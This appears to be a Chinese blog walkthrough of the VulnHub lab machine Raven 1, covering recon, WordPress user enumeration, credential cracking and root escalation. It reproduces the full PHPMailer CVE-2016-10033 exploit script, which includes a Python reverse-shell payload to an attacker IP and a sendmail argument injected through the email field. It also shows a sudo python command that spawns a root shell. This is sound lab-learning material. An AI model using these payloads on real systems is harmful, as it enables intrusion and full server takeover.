前言
下载地址:https://www.vulnhub.com/entry/raven-1,256/
KALI地址:192.168.1.18
靶机地址:192.168.1.31
描述如下
Description
Raven is a Beginner/Intermediate boot2root machine. There are four flags to find and two intended ways of getting root. Built with VMware and tested on Virtual Box. Set up to use NAT networking.
一.信息收集
1.主机发现
使用命令如下,发现了靶机地址
netdiscover -r 192.168.1.31
2.扫描主机
这里使用了两个命令,如下,扫描了两次。
nmap -sV 192.168.1.31
nmap -A -T4 -O -p 0-65535 192.168.1.31
如下图结果,发现扫描出了22,80,111,59433
端口分别对应的是ssh
,web
,rpc
服务。
3.目录扫描
既然有web服务那就必须先来一通目录扫描了使用命令如下
dirb http://192.168.1.31
如下图,所示,扫描出的目录,红色箭头是我自我感觉需要注意的目录
3.1manual目录
发现是apache目录,没有什么利用价值,如下图
3.2vendor目录
如下图,发现是有一堆文件。
经过一番查找和搜寻,发现了几个信息,第一个在README.md
文件里面,发现网站安装了PHPMailer
,其中在VERSION
文件里面发现了PHPMailer
版本号,如下两张图,PHPMailer版本小于5.2.18
是有重大漏洞的。
3.3wordpress目录
就是wordpress博客,万一可以从里面进去写入一句话木马呢?或者其他有用的信息。
既然是wordpress,可以用wpscan来扫一波有那些账户室友命令如下。
wpscan --url http://192.168.1.31/wordpress -e u
如下图扫出来两个账户,一个是michael
和steven
。
然后在做信息收集的时候在service.html
查看源代码的时候发现了flag,原来这个靶机是找flag吗 (恼。
二.漏洞利用
1.PHPMailer漏洞
PHPMailer是一个很牛逼的php发送邮件的东西,但是PHPMailer小于5.2.18
就有高危漏洞。
前面说过版本小于5.2.18有漏洞
怎么验证呢?在kali里面使用searchsplit
工具,查找这个软件漏洞。
searchsploit PHPMailer
如下图,有远程代码执行漏洞。
这里我们直接使用40974.py
这个文件,把这个文件复制到KALI根目录下面,使用命令如下。
cp /usr/share/exploitdb/exploits/php/webapps/40974.py ./
这个文件全部代码如下。
"""
# Exploit Title: PHPMailer Exploit v1.0
# Date: 29/12/2016
# Exploit Author: Daniel aka anarc0der
# Version: PHPMailer < 5.2.18
# Tested on: Arch Linux
# CVE : CVE 2016-10033
Description:
Exploiting PHPMail with back connection (reverse shell) from the target
Usage:
1 - Download docker vulnerable enviroment at: https://github.com/opsxcq/exploit-CVE-2016-10033
2 - Config your IP for reverse shell on payload variable
4 - Open nc listener in one terminal: $ nc -lnvp <your ip>
3 - Open other terminal and run the exploit: python3 anarcoder.py
Video PoC: https://www.youtube.com/watch?v=DXeZxKr-qsU
Full Advisory:
https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html
"""
from requests_toolbelt import MultipartEncoder
import requests
import os
import base64
from lxml import html as lh
os.system('clear')
print("\n")
print(" █████╗ ███╗ ██╗ █████╗ ██████╗ ██████╗ ██████╗ ██████╗ ███████╗██████╗ ")
print("██╔══██╗████╗ ██║██╔══██╗██╔══██╗██╔════╝██╔═══██╗██╔══██╗██╔════╝██╔══██╗")
print("███████║██╔██╗ ██║███████║██████╔╝██║ ██║ ██║██║ ██║█████╗ ██████╔╝")
print("██╔══██║██║╚██╗██║██╔══██║██╔══██╗██║ ██║ ██║██║ ██║██╔══╝ ██╔══██╗")
print("██║ ██║██║ ╚████║██║ ██║██║ ██║╚██████╗╚██████╔╝██████╔╝███████╗██║ ██║")
print("╚═╝ ╚═╝╚═╝ ╚═══╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝╚═╝ ╚═╝")
print(" PHPMailer Exploit CVE 2016-10033 - anarcoder at protonmail.com")
print(" Version 1.0 - github.com/anarcoder - greetings opsxcq & David Golunski\n")
target = 'http://localhost:8080'
backdoor = '/backdoor.php'
payload = '<?php system(\'python -c """import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\'192.168.0.12\\\',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\\\"/bin/sh\\\",\\\"-i\\\"])"""\'); ?>'
fields={'action': 'submit',
'name': payload,
'email': '"anarcoder\\\" -OQueueDirectory=/tmp -X/www/backdoor.php server\" @protonmail.com',
'message': 'Pwned'}
m = MultipartEncoder(fields=fields,
boundary='----WebKitFormBoundaryzXJpHSq4mNy35tHe')
headers={'User-Agent': 'curl/7.47.0',
'Content-Type': m.content_type}
proxies = {'http': 'localhost:8081', 'https':'localhost:8081'}
print('[+] SeNdiNG eVIl SHeLL To TaRGeT....')
r = requests.post(target, data=m.to_string(),
headers=headers)
print('[+] SPaWNiNG eVIL sHeLL..... bOOOOM :D')
r = requests.get(target+backdoor, headers=headers)
if r.status_code == 200:
print('[+] ExPLoITeD ' + target)
然后我们使用文本编辑器来修改代码,如下图提示修改即可。
然后我们使用python命令来运行即可,命令如下。
python 40974.py
运行成功,如下图,这样在靶机的/var/www/html
目录下面就生成了一个shell.php
的文件。
然后我们现在需要做的事情就是在KALI里面开启端口监听,访问shell.php
即可,KALI开启监听命令如下,因为文件我们使用的是4444端口所以监听也要是4444端口。
如下图是KALI开启了监听,等待。
如下图是访问我们的木马文件。
然后反弹成功,成功反弹了shell!!如下图。
三.提权
首先切换shell,使用python切换,命令如下。
python -c "import pty; pty.spawn('/bin/bash')"
这里简单说一下,我探索的无用过程,首先看了一下用户也就是在/etc/passwd
下面,确实有我们上面wpscan扫描出来的用户一个是michael
和steven
,然后发现还有一个mysql用户,意思是开放了3306端口?但是外面没有扫描到,应该是不允许外部登录,然后在www
目录下面发现了第二个flag,如下图。
然后在html目录下面发现了,wordpress目录,只知道有用户,不知道密码,现在的思路是登录mysql数据库,然后看看能不能发现这两个用户的密码,所以我们先在wordpress目录下面查看wp-config.php
文件查看数据库用户和密码,如下图,但是万一不是ssh连接密码就寄。
所以数据库的账户和密码分别是。
账户:root
密码:R@v3nSecurity
然后登录mysql,使用命令如下。
mysql -u root -p
查看所有数据库,如下图。
然后就,根据如下图查询就可以查询所有wordpress账户和密码,然后可以拿去MD5枚举。
经过测试,第一个michael
用户在线md5网站破解不了,但是第二个可以破解,密码是pink84
,如下图。
首先当然可以登录wordpress,但是这里猜想的是ssh是否也是这个密码,当然发现是OK的,如下图,可以登录进去,如下图,然后在切换shell即可。
然后查看一番没有发现什么,然后使用命令sudo -l
查看有啥权限的时候,发现可以使用python提权!,那这样,我们直接上面的命令前面加上sudo就直接切换到root用户了啊,如下命令。
sudo python -c "import pty; pty.spawn('/bin/bash')"
如下图成功切换到,root用户并且,找到了所有flag。
四.总结
对软件漏洞需要多了解,然后很多东西需要仔细看